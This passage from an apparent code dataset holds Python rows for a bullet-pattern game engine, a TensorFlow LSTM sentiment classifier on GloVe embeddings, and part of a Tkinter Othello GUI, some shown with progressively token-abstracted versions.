self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n<class token>\n\n\nclass BulletMasterTemplate(object):\n <function token>\n <function token>\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass Bullet(MovementCommander):\n <function token>\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n <function token>\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BulletSpawner(MovementCommander):\n <function token>\n <function token>\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BulletMaster(object):\n <function token>\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BulletMaster(object):\n <function token>\n <function token>\n",
"<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n"
] | false |
9,933 |
7e461e212d9944c229d1473ea16283d3d036bf55
|
import tensorflow as tf
import gensim
import string
import numpy as np
import random
##### prepare data
path = 'stanfordSentimentTreebank/output_50d.txt'
# model_path = 'stanfordSentimentTreebank/output'
# model = gensim.models.Word2Vec.load(model_path)
model = gensim.models.KeyedVectors.load_word2vec_format('/Users/ivanfzh/Downloads/glove.6B/glove.6B.50d.txt',
binary=False)
sentence_max = 56
class Data(object):
def __init__(self):
self.data_in = []
self.data_label = []
self.batch_id = 0
self.data_length = []
fp = open(path, 'r')
for l in fp.readlines():
line = l.strip('\n').split('|')
word_list = line[0].split(' ')
s = []
for item in word_list:
item = string.lower(item)
s.append(model[item].tolist())
if len(word_list) < sentence_max:
for i in range(sentence_max - len(word_list)):
s.append([0. for k in range(50)])
self.data_length.append(len(word_list))
l = [0. for k in range(5)]
value = float(line[1])
label_index = int(value / 0.2)
if label_index >= 5:
l[4] = 1.0
else:
l[label_index] = 1.0
self.data_in.append(s)
self.data_label.append(l)
def next(self, batch_size):
if self.batch_id + batch_size >= len(self.data_in):
batch_data_in = self.data_in[self.batch_id: len(self.data_in)]
batch_data_label = self.data_label[self.batch_id: len(self.data_in)]
batch_data_length = self.data_length[self.batch_id: len(self.data_in)]
self.batch_id = self.batch_id + batch_size - len(self.data_in)
batch_data_in += self.data_in[0:self.batch_id]
batch_data_label += self.data_label[0:self.batch_id]
batch_data_length += self.data_length[0:self.batch_id]
else:
batch_data_in = self.data_in[self.batch_id: self.batch_id + batch_size]
batch_data_label = self.data_label[self.batch_id: self.batch_id + batch_size]
batch_data_length = self.data_length[self.batch_id: self.batch_id + batch_size]
self.batch_id = self.batch_id + batch_size
return batch_data_in, batch_data_label, batch_data_length
trainset = Data()
print len(trainset.data_in)
# ==============
# MODEL
# ==============
learning_rate = 0.001
training_iters = 500000
batch_size = 128
display_step = 100
# Network Parameters
n_input = 50 # data input (shape: 50*56)
n_steps = 56 # timesteps
n_hidden = 128 # hidden layer num of features
n_classes = 5 # total classes
x = tf.placeholder(tf.float32, [None, n_steps, n_input])
y = tf.placeholder(tf.float32, [None, n_classes])
z = tf.placeholder(tf.int32, [batch_size])
weights = {
# (50, 128)
# 'in': tf.Variable(tf.random_normal([n_input, n_hidden])),
# Hidden layer weights
# (128, 5)
'out': tf.Variable(tf.random_normal([n_hidden, n_classes]))
}
biases = {
# 'in': tf.Variable(tf.constant(0.1, shape=[n_hidden, ])),
'out': tf.Variable(tf.random_normal([n_classes, ]))
}
def dynamicRNN(x, seqlen, weights, biases):
# Prepare data shape to match `rnn` function requirements
# Current data input shape: (batch_size, n_steps, n_input)
# Required shape: 'n_steps' tensors list of shape (batch_size, n_input)
# Unstack to get a list of 'n_steps' tensors of shape (batch_size, n_input)
x = tf.unstack(x, sentence_max, 1)
# Define a lstm cell with tensorflow
lstm_cell = tf.contrib.rnn.BasicLSTMCell(n_hidden)
# Get lstm cell output, providing 'sequence_length' will perform dynamic
# calculation.
outputs, states = tf.contrib.rnn.static_rnn(lstm_cell, x, dtype=tf.float32,
sequence_length=seqlen)
# When performing dynamic calculation, we must retrieve the last
# dynamically computed output, i.e., if a sequence length is 10, we need
# to retrieve the 10th output.
# However TensorFlow doesn't support advanced indexing yet, so we build
# a custom op that for each sample in batch size, get its length and
# get the corresponding relevant output.
# 'outputs' is a list of output at every timestep, we pack them in a Tensor
# and change back dimension to [batch_size, n_step, n_input]
outputs = tf.stack(outputs)
outputs = tf.transpose(outputs, [1, 0, 2])
# Hack to build the indexing and retrieve the right output.
batch_size = tf.shape(outputs)[0]
# Start indices for each sample
index = tf.range(0, batch_size) * sentence_max + (seqlen - 1)
# Indexing
outputs = tf.gather(tf.reshape(outputs, [-1, n_hidden]), index)
# Linear activation, using outputs computed above
return tf.matmul(outputs, weights['out']) + biases['out']
pred = dynamicRNN(x, z, weights, biases)
cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=pred, labels=y))
optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)
correct_pred = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1))
accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))
t_acc = 0
with tf.Session() as sess:
init = tf.global_variables_initializer()
sess.run(init)
step = 1
while step * batch_size <= training_iters:
batch_x, batch_y, batch_length = trainset.next(batch_size)
sess.run(optimizer, feed_dict={
x: batch_x,
y: batch_y,
z: batch_length
})
acc = sess.run(accuracy, feed_dict={x: batch_x, y: batch_y, z: batch_length})
t_acc = (acc + t_acc * (step - 1)) / (float(step))
if step % display_step == 0:
acc = sess.run(accuracy, feed_dict={x: batch_x, y: batch_y, z: batch_length})
# Calculate batch loss
loss = sess.run(cost, feed_dict={x: batch_x, y: batch_y, z: batch_length})
print("Iter " + str(step * batch_size) + ", Minibatch Loss= " + \
"{:.6f}".format(loss) + ", Training Accuracy= " + \
"{:.5f}".format(t_acc) + ",batch Training Accuracy= " + \
"{:.5f}".format(acc))
step += 1
print 'Optimizer Complete'
|
[
"import tensorflow as tf\nimport gensim\nimport string\nimport numpy as np\nimport random\n\n##### prepare data\npath = 'stanfordSentimentTreebank/output_50d.txt'\n# model_path = 'stanfordSentimentTreebank/output'\n# model = gensim.models.Word2Vec.load(model_path)\nmodel = gensim.models.KeyedVectors.load_word2vec_format('/Users/ivanfzh/Downloads/glove.6B/glove.6B.50d.txt',\n binary=False)\n\nsentence_max = 56\n\n\nclass Data(object):\n def __init__(self):\n self.data_in = []\n self.data_label = []\n self.batch_id = 0\n self.data_length = []\n\n fp = open(path, 'r')\n for l in fp.readlines():\n line = l.strip('\\n').split('|')\n word_list = line[0].split(' ')\n s = []\n for item in word_list:\n item = string.lower(item)\n s.append(model[item].tolist())\n if len(word_list) < sentence_max:\n for i in range(sentence_max - len(word_list)):\n s.append([0. for k in range(50)])\n self.data_length.append(len(word_list))\n l = [0. for k in range(5)]\n value = float(line[1])\n label_index = int(value / 0.2)\n if label_index >= 5:\n l[4] = 1.0\n else:\n l[label_index] = 1.0\n self.data_in.append(s)\n self.data_label.append(l)\n\n def next(self, batch_size):\n if self.batch_id + batch_size >= len(self.data_in):\n batch_data_in = self.data_in[self.batch_id: len(self.data_in)]\n batch_data_label = self.data_label[self.batch_id: len(self.data_in)]\n batch_data_length = self.data_length[self.batch_id: len(self.data_in)]\n self.batch_id = self.batch_id + batch_size - len(self.data_in)\n batch_data_in += self.data_in[0:self.batch_id]\n batch_data_label += self.data_label[0:self.batch_id]\n batch_data_length += self.data_length[0:self.batch_id]\n else:\n batch_data_in = self.data_in[self.batch_id: self.batch_id + batch_size]\n batch_data_label = self.data_label[self.batch_id: self.batch_id + batch_size]\n batch_data_length = self.data_length[self.batch_id: self.batch_id + batch_size]\n self.batch_id = self.batch_id + batch_size\n return batch_data_in, batch_data_label, batch_data_length\n\n\ntrainset = Data()\n\nprint len(trainset.data_in)\n\n# ==============\n# MODEL\n# ==============\n\nlearning_rate = 0.001\ntraining_iters = 500000\nbatch_size = 128\ndisplay_step = 100\n\n# Network Parameters\nn_input = 50 # data input (shape: 50*56)\nn_steps = 56 # timesteps\nn_hidden = 128 # hidden layer num of features\nn_classes = 5 # total classes\n\nx = tf.placeholder(tf.float32, [None, n_steps, n_input])\ny = tf.placeholder(tf.float32, [None, n_classes])\nz = tf.placeholder(tf.int32, [batch_size])\n\nweights = {\n # (50, 128)\n # 'in': tf.Variable(tf.random_normal([n_input, n_hidden])),\n # Hidden layer weights\n # (128, 5)\n 'out': tf.Variable(tf.random_normal([n_hidden, n_classes]))\n}\nbiases = {\n # 'in': tf.Variable(tf.constant(0.1, shape=[n_hidden, ])),\n 'out': tf.Variable(tf.random_normal([n_classes, ]))\n}\n\n\ndef dynamicRNN(x, seqlen, weights, biases):\n # Prepare data shape to match `rnn` function requirements\n # Current data input shape: (batch_size, n_steps, n_input)\n # Required shape: 'n_steps' tensors list of shape (batch_size, n_input)\n\n # Unstack to get a list of 'n_steps' tensors of shape (batch_size, n_input)\n x = tf.unstack(x, sentence_max, 1)\n\n # Define a lstm cell with tensorflow\n lstm_cell = tf.contrib.rnn.BasicLSTMCell(n_hidden)\n\n # Get lstm cell output, providing 'sequence_length' will perform dynamic\n # calculation.\n outputs, states = tf.contrib.rnn.static_rnn(lstm_cell, x, dtype=tf.float32,\n sequence_length=seqlen)\n\n # When performing dynamic calculation, we must retrieve the last\n # dynamically computed output, i.e., if a sequence length is 10, we need\n # to retrieve the 10th output.\n # However TensorFlow doesn't support advanced indexing yet, so we build\n # a custom op that for each sample in batch size, get its length and\n # get the corresponding relevant output.\n\n # 'outputs' is a list of output at every timestep, we pack them in a Tensor\n # and change back dimension to [batch_size, n_step, n_input]\n outputs = tf.stack(outputs)\n outputs = tf.transpose(outputs, [1, 0, 2])\n\n # Hack to build the indexing and retrieve the right output.\n batch_size = tf.shape(outputs)[0]\n # Start indices for each sample\n index = tf.range(0, batch_size) * sentence_max + (seqlen - 1)\n # Indexing\n outputs = tf.gather(tf.reshape(outputs, [-1, n_hidden]), index)\n\n # Linear activation, using outputs computed above\n return tf.matmul(outputs, weights['out']) + biases['out']\n\n\npred = dynamicRNN(x, z, weights, biases)\ncost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=pred, labels=y))\noptimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)\n\ncorrect_pred = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1))\naccuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\nt_acc = 0\n\nwith tf.Session() as sess:\n init = tf.global_variables_initializer()\n sess.run(init)\n step = 1\n while step * batch_size <= training_iters:\n batch_x, batch_y, batch_length = trainset.next(batch_size)\n sess.run(optimizer, feed_dict={\n x: batch_x,\n y: batch_y,\n z: batch_length\n })\n acc = sess.run(accuracy, feed_dict={x: batch_x, y: batch_y, z: batch_length})\n t_acc = (acc + t_acc * (step - 1)) / (float(step))\n if step % display_step == 0:\n acc = sess.run(accuracy, feed_dict={x: batch_x, y: batch_y, z: batch_length})\n # Calculate batch loss\n loss = sess.run(cost, feed_dict={x: batch_x, y: batch_y, z: batch_length})\n print(\"Iter \" + str(step * batch_size) + \", Minibatch Loss= \" + \\\n \"{:.6f}\".format(loss) + \", Training Accuracy= \" + \\\n \"{:.5f}\".format(t_acc) + \",batch Training Accuracy= \" + \\\n \"{:.5f}\".format(acc))\n step += 1\n\n print 'Optimizer Complete'\n"
] | true |
9,934 |
9b8f3962172d4a867a3a070b6139bb302fd7e2f5
|
import tkinter as tk
import Widgets as wg
import Logic as lgc
from tkinter.ttk import Separator
from tkinter.messagebox import showerror, showinfo
# Fonts that we can utilise
FONTS = {"large":("Helvetica", 20), "medium":("Helvetica", 16), "small":("Helvetica", 12)}
class Handler: # Handles the window and the Game interaction
def __init__(self):
# Game Handle
self.Game = None
self.GameParams = {}
# Window Handle
self.Window = Window(self)
self.Window.mainloop()
def Replay (self): # Reset attributes and classes
self.GameParams = {}
del self.Game
self.Game = None
def Is_Running (self):
return self.Game.Running
def Start_Game(self): # Begin the game, run the updates needed.
self.Game = lgc.Game(**self.GameParams)
self.Game.Start_Game()
# Update Game page
self.Update_Game()
self.Window.Pages["Game"].Update_Game_Type()
def Get_Current_Player(self) -> str: # get the current player whose turn it is
if self.Game.Running:
if self.Game.Current_Player == "B":
return "black"
else:
return "white"
else:
return "None"
def Get_Game_Type(self) -> str: # Get the game rule type
g = self.Game.Game_Type
if g == 1:
return "SIMPLE"
else:
return "FULL"
def Get_Score(self) -> tuple: # Get the current score
s = self.Game.Get_Discs()
return s[0], s[1] # b, w
def Move(self, x: int, y: int) -> bool: # Make a move on a given place
complete = self.Game.Next_Move(x, y)
if complete:
self.Update_Game()
self.Game_Complete_Check()
return True
self.Update_Game()
self.Game_Complete_Check()
return False
def Get_Winner(self) -> tuple: # Gets the winner of the game
return self.Game.Check_Winner()
def Game_Complete_Check(self): # Check if the game is over and act accordingly
if self.Is_Running() == False:
# Run Game Over feature here
self.Window.showPage("Postgame")
# Update the post page
self.Window.Pages["Postgame"].Update()
def Update_Game(self): # Run a full update on the game
self.Window.Pages["Game"].Full_Update()
class Window (tk.Tk): # This will be the main window of the GUI
def __init__ (self, controller, *args, **kwargs):
tk.Tk.__init__(self, *args, **kwargs)
self.Handler = controller # This is handler between the game and window
# Root attributes
self.title("Othello")
try:
self.iconbitmap("Icon.ico")
except:
pass
self.minsize(600, 600)
#self.maxsize(1000,1000)
# Master frame
self.container = tk.Frame(self)
self.container.pack(side="top", fill="both", expand=True)
self.container.grid_rowconfigure(0, weight=1)
self.container.grid_columnconfigure(0, weight=1)
# Set up the pages
self.Pages = {}
for page in (Pregame, Custom_Board, Game, Postgame):
# Initiate each page and add them to the dictionary
# Dictionary will use the name of the class so that it can be accessed
# without the knowledge of the clas name
new = page(self.container, self)
self.Pages[page.FrameName] = new
new.grid(row=0, column=0, sticky="nsew")
# Show the initial page
self.showPage("Pregame")
# Window
def showPage(self, pagename: str): # Show a chosen page
page = self.Pages[pagename]
page.tkraise()
# Game
def Begin_Game(self): # Start the game
self.Handler.Start_Game()
def Get_Current_Player (self) -> str: # Get the current player
return self.Handler.Get_Current_Player()
